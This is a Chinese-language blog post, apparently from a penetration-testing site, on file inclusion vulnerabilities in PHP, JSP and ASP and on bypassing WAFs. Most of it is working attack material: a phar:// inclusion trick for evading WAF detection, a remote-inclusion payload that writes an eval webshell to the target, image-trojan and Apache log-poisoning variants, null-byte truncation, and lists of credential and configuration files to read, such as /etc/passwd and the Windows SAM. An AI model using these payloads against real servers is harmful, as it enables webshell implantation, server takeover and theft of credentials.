`

文件包含漏洞(绕过姿势)

阅读更多

文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件。今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏洞的基础利用姿势。

特殊姿势

  利用phar://协议特性可以在渗透过程中帮我们绕过一些waf检测,phar:// 数据流包装器自 PHP 5.3.0 起开始有效,貌似可以绕过安全狗。

利用过程

新建shell.php代码内容:

1
2
3
<?php
include 'phar://test.rar/test.txt';
?>

 

新建test.txt里的内容:

1
2
3
<?php
phpinfo();
?>

 

  压缩test.txt文件,可以重命名压缩文件为zip,phar,rar等格式,之后访问shell.php文件后,会出现phpinfo内容。

亲测有效

在实验环境下,在test目录下新建shell.php,test.txt,并将test.txt打包成test.zip。

shell.php内容如下:

test.txt内容如下:

访问shell.php:

参考:http://bbs.pediy.com/thread-216191.htm

php文件包含漏洞

PHP中的文件包含分为本地包含与远程包含。

本地包含

新建一个phpinfo.txt,然后新建一个shell.php,写入:

1
2
3
<?php
Include("phpinfo.txt");
?>

 

  访问shell.php会输出phpinfo页面内容,无论将扩展名改为什么,都将以php代码执行。如果文件不是符合php规则的(即没有写<?php ?>等),则通过include可以直接输出源码。

远程包含

前提:需要开启allow_url_fopen,默认关闭。
新建php.txt:

1
2
3
<?php
echo "hello world";
?>

 

新建index.php:

1
2
3
<?php
Include($_GET['page']);
?>

 

访问http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。

文件包含利用

读取敏感信息

如:http://www.xxx.com/index.php?page=/etc/passwd
Windows:

1
2
3
4
5
c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini php配置文件
c:\windows\my.ini mysql配置文件

 

LINUX:

1
2
3
4
5
/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini PHP相关设置
/etc/httpd/conf/http.conf apache配置文件
/etc/my.cnf mysql配置文件

 

远程包含shell

test.txt文件,可以保存在远程服务器上,内容如下:

1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[nmask]);?>")?>

 

  如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt则会在服务器根目录下生产一个shell.php内容为:

1
<?php eval($_POST[nmask]);?>

 

本地包含配合文件上传

如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含+文件上传
上传一个图片木马a.jpg,内容为:

1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

 

访问URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。

本地包含配合apache日志拿shell

  apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

截断包含

有些开发者为了防止本地包含漏洞,会编写一下代码:

1
2
3
<?php
Include $_GET['page'].".php"
?>

 

新建1.jpg:

1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

 

  这样的话比如上传一个1.jpg图片码,则访问http://www.xxx.com/1.jpg时,访问的是1.jgp.php,以为没有这个文件所以报错。这是,可以尝试访问http://www.xxx.com/1.jpg%00

jsp文件包含漏洞

include

1
2
3
<%@ include file="head.jsp"%>
<%@ include file="body.jsp"%>
<%@ include file="tail.jsp"%>

jsp:include

1
2
3
<jsp:include page="head.jsp"/>
<jsp:include page="body.jsp"/>
<jsp:include page="tail.jsp”/>

采用JSTL

1
<c:import url="http://thief.one/1.jsp">

说明

(1)include指令在转换时插入“Header.jsp”的源代码,而标准动作在运行时插入“Header.jsp”的响应。元素允许你包含动态文件和静态,而include说明标签仅仅是把一个文件内容当成静态追加到主文件中去。
(2)采用前两种方式,只能包含当前web应用的界面,不过c:import可以包含容器之外的内容。

asp文件包含漏洞

asp貌似无法包含远程文件(iis安全设置),只能包含本地文件,语法如下:

1
<!--#include file="1.asp" -->

 

aspx文件包含漏洞

aspx文件包含与asp一样,语法如下:

1
<!--#include file="top.aspx" -->
分享到:
评论

相关推荐

    2022年文件上传漏洞绕过姿势整理,过waf版

    2022年文件上传漏洞绕过姿势整理,过waf版,绕过思路:对文件的内容,数据。数据包进行处理。2.通过替换大小写来进行绕过

    Web应用安全:文件包含漏洞简介.pptx

    攻击者可以利用此漏洞包含并执行远程服务器上的恶意代码,比如上传一句话木马并通过`include`或`require`来运行。一旦成功,攻击者可能获得服务器的完全控制权限。 文件包含漏洞的防御措施主要包括:限制文件包含的...

    08_理论8_文件包含漏洞的原理与实践_20180921

    - 当用户可以控制包含文件路径时,可能会利用此漏洞读取服务器上的任意文件,包括但不限于配置文件、日志文件等敏感信息。 2. **远程文件包含(Remote File Inclusion, RFI)** - 这种漏洞允许攻击者从远程服务器...

    NACOS身份认证绕过漏洞批量检测poc.7z

    该“NACOS身份认证绕过漏洞批量检测poc”是一个Proof of Concept(概念验证)文件,用于验证这个安全漏洞是否存在。POC文件通常包含一段代码或者脚本,开发者或安全研究人员可以使用这些代码来测试特定系统是否易受...

    web网站文件包含漏洞和攻击-运维安全详细笔记总结

    web 网站文件包含漏洞和攻击-运维安全详细笔记总结 文件包含漏洞是指攻击者通过上传恶意文件,利用服务器的文件包含功能来执行恶意代码,从而获取服务器的控制权。文件包含漏洞可以分为本地文件包含漏洞和远程文件...

    ThinkCmf文件包含漏洞fetch函数-过宝塔防火墙Poc1

    ### ThinkCmf 文件包含漏洞详解:Fetch 函数与绕过宝塔防火墙 #### 一、漏洞背景 ThinkCMF是一款基于ThinkPHP框架开发的轻量级内容管理系统,广泛应用于各类网站开发。然而,在实际应用过程中,由于其设计缺陷或...

    Apache Tomcat 文件包含漏洞(CNVD-2020-10487,对应 CVE-2020-1938)

    CNVD-2020-10487 和 CVE-2020-1938 是同一个安全漏洞的不同命名,这个漏洞被称为“Apache Tomcat 文件包含漏洞”。此漏洞的存在使得攻击者有可能通过精心构造的请求,将恶意代码注入到Tomcat服务器上,从而执行任意...

    web安全技术-实验六、文件上传漏洞.doc

    通常,文件上传漏洞的根源在于服务器没有严格检查上传文件的类型,或者文件名的生成方式有误,导致攻击者可以通过修改HTTP请求来绕过检查。 5. **注入一句话木马**:一句话木马,顾名思义,是小型、简洁的恶意脚本...

    通达OA v11.8 getway.php 远程文件包含漏洞.md

    通达OA漏洞合集

    计算机网络安全中文件上传漏洞及防御措施.pdf

    计算机网络安全中文件上传漏洞及防御措施 计算机网络安全中文件上传漏洞是一种常见的Web安全漏洞,攻击者可以通过上传恶意代码的文件来获取服务器的控制权。为了防御这种攻击,需要对文件上传进行严格的校验检测,...

    第七式 七伤拳 web安全之文件包含漏洞专题.pdf

    tsrc线上培训资料 第七式 七伤拳 web安全之文件包含漏洞专题

    文件上传漏洞的思维导图

    前端验证通常通过JavaScript进行,限制文件类型、大小等,但这种验证可以被绕过,因为JS可以在客户端禁用或修改。 2. **后端防护**:后端防护通常采用黑名单和白名单策略。黑名单是明确禁止上传的文件类型,如`....

    WebShell文件上传漏洞分析溯源

    WebShell 文件上传漏洞的成因主要包括: 1. 不安全的文件上传机制:如果Web应用程序的文件上传机制不安全,攻击者可以上传恶意文件,例如WebShell。 2. 缺乏输入验证:如果Web应用程序没有对用户输入进行充分的验证...

    通达OA header身份认证绕过漏洞利用工具

    通达OA header身份认证绕过漏洞利用脚本,可以检测漏洞是否存在并生成可用的cookie

    thinkphp6文件写入漏洞

    例如,ThinkPHP6在处理文件上传或写入时,如果使用了不安全的函数(如file_put_contents)且未对用户输入进行严格的校验,那么攻击者就可以构造特定请求,绕过限制,将文件写入到他们期望的位置。 防范这种漏洞的...

    用友NC任意文件上传漏洞利用工具

    用友NC任意文件上传漏洞利用工具,用友NC6.5的某个页面,存在任意文件上传漏洞。漏洞成因在于上传文件处未作类型限制,未经身份验证的攻击者可通过向目标系统发送特制数据包来利用此漏洞,成功利用此漏洞的远程攻击...

    Mang0-php文件包含漏洞.zip

    2. **本地文件包含**:攻击者可以尝试包含服务器上的本地文件,如日志、配置文件,获取敏感信息,或者利用已知的文件路径漏洞执行恶意代码。 3. **目录遍历**:通过在包含的文件名中使用相对路径或特殊字符(如`../...

    文件上传漏洞常见绕过方法

    1、前端js检测文件格式 2、上传的文件时加入了“Content-Type”验证 3、文件后缀验证 4、文件后缀黑名单 5、文件头验证 6、文件内容初级验证 7、文件上传+文件包含

Global site tag (gtag.js) - Google Analytics